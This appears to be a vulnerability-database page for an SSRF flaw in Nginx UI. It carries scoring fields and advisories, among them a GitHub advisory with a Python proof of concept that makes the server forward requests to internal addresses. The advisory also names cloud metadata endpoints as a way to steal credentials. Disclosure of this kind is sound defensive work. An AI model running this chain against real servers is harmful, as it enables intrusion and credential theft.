CVE-2026-44015
criticalpriority · track · 40EPSS 0.003 · 25 %ileDEEURUUSEPSS · scored 2026-10-27
Nginx UI is a web user interface for the Nginx web server. In 2.3.4 and earlier, an authenticated user can perform Server-Side Request Forgery (SSRF) by creating a cluster node pointing to an arbitrary internal URL and then sending API requests with the X-Node-ID header. The Proxy middleware forwards these requests to the attacker-specified internal address, bypassing network segmentation and enabling access to services bound to localhost or internal networks.
cvss
Technical severity, 0–10. One row per scoring source.
base score 0–10 · higher = more severe · hover a vector to decode⚠ sources disagree · high–critical · 8.5–9.9
ssvc
A stakeholder decision — act, attend, or track — from exploitation and impact.
weaknesses
The CWE weakness classes this flaw belongs to.
affected products (7)
Products and version ranges known to be affected.
advisories (3)
Vendor and ecosystem advisories describing this.
- WID-SEC-W-2026-1239nginx-ui: Schwachstelle ermöglicht Offenlegung von InformationenDeutsch2026-04-22csaf · cert_bundDE
Ein entfernter, authentisierter Angreifer kann eine Schwachstelle in nginx-ui ausnutzen, um Informationen offenzulegen.
- GHSA-wr32-99hh-6f35Nginx-UI has Server-Side Request Forgery (SSRF) via Cluster Proxy Middleware that Allows Access to Internal Services2026-04-29ghsa · osvUS
### Summary An authenticated user can perform Server-Side Request Forgery (SSRF) by creating a cluster node pointing to an arbitrary internal URL and then sending API requests with the `X-Node-ID` header. The Proxy middleware forwards these requests to the attacker-specified internal address, bypassing network segmentation and enabling access to services bound to localhost or internal networks. ### Details The nginx-ui Proxy middleware (`internal/middleware/proxy.go`) intercepts API requests containing an `X-Node-ID` header and forwards them to the URL of the corresponding cluster node. An attacker can: 1. Read the `node_secret` from `GET /api/settings` (accessible to any authenticated user) 2. Create a cluster node via `POST /api/nodes` pointing to any internal URL: ```json { "name": "ssrf_node", "url": "http://127.0.0.1:51820", "token": "<node_secret>", "enabled": true } ``` 3. Send any API request with the `X-Node-ID` header set to the created node's ID: ``` GET /api/settings HTTP/1.1 Authorization: <token> X-Node-ID: 1 ``` 4. The Proxy middleware forwards this request to `http://127.0.0.1:51820/api/settings`, making a server-side request to the internal address. **Vulnerable code path:** - `internal/middleware/proxy.go` — `Proxy()`: no validation of the node URL; allows `127.0.0.1`, `localhost`, internal IPs, cloud metadata endpoints, etc. The node URL is not restricted to external addresses or validated against an allowlist. Combined with the njs Code Injection vulnerability (separate advisory), this SSRF is used to trigger the njs payload executing on an internal-only nginx port, completing the RCE chain. ### PoC ```python import requests BASE = "http://TARGET:9000" TOKEN = "<authenticated_jwt_token>" HDR = {"Authorization": TOKEN} # Step 1: Get node_secret settings = requests.get(f"{BASE}/api/settings", headers=HDR).json() node_secret = settings["node"]["secret"] # Step 2: Create SSRF node pointing to internal service resp = requests.post(f"{BASE}/api/nodes", headers=HDR, json={ "name": "ssrf", "url": "http://127.0.0.1:51820", # internal-only port "token": node_secret, "enabled": True, }) node_id = resp.json()["id"] # Step 3: SSRF — request is forwarded to http://127.0.0.1:51820/api/settings resp = requests.get( f"{BASE}/api/settings", headers={**HDR, "X-Node-ID": str(node_id)}, ) print(resp.status_code, resp.text[:200]) # Response comes from the INTERNAL service, not nginx-ui ``` This can also target cloud metadata endpoints (e.g., `http://169.254.169.254/latest/meta-data/`) or any other internal service. ### Impact An authenticated attacker can: - **Access internal services** bound to localhost or private networks that are not intended to be externally reachable - **Access cloud metadata endpoints** (AWS/GCP/Azure instance metadata) to steal IAM credentials - **Port-scan internal networks** by creating nodes pointing to different internal IPs/ports - **Trigger internal-only njs endpoints** to escalate privileges (as demonstrated in the companion RCE advisory) - **Bypass network segmentation** and firewalls that only restrict inbound traffic
- GO-2026-5719Nginx-UI has Server-Side Request Forgery (SSRF) via Cluster Proxy Middleware that Allows Access to Internal Services in github.com/0xJacky/Nginx-UI2026-06-25vendor · osvUS
Nginx-UI has Server-Side Request Forgery (SSRF) via Cluster Proxy Middleware that Allows Access to Internal Services in github.com/0xJacky/Nginx-UI
also known as (6)
Other names and identifiers for this entity.
sources
Which sources assert this record, and when.
references (5)
External citations — patches, advisories, analysis.
- https://access.redhat.com/security/cve/cve-2026-44015cnnvd
- https://github.com/0xJacky/nginx-ui/releasesPatchcnnvd
- https://nvd.nist.gov/vuln/detail/CVE-2026-44015cnnvd
- https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-wr32-99hh-6f35enisa_euvd
- https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-wr32-99hh-6f35ExploitVendor Advisorynvd
Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.
Free scan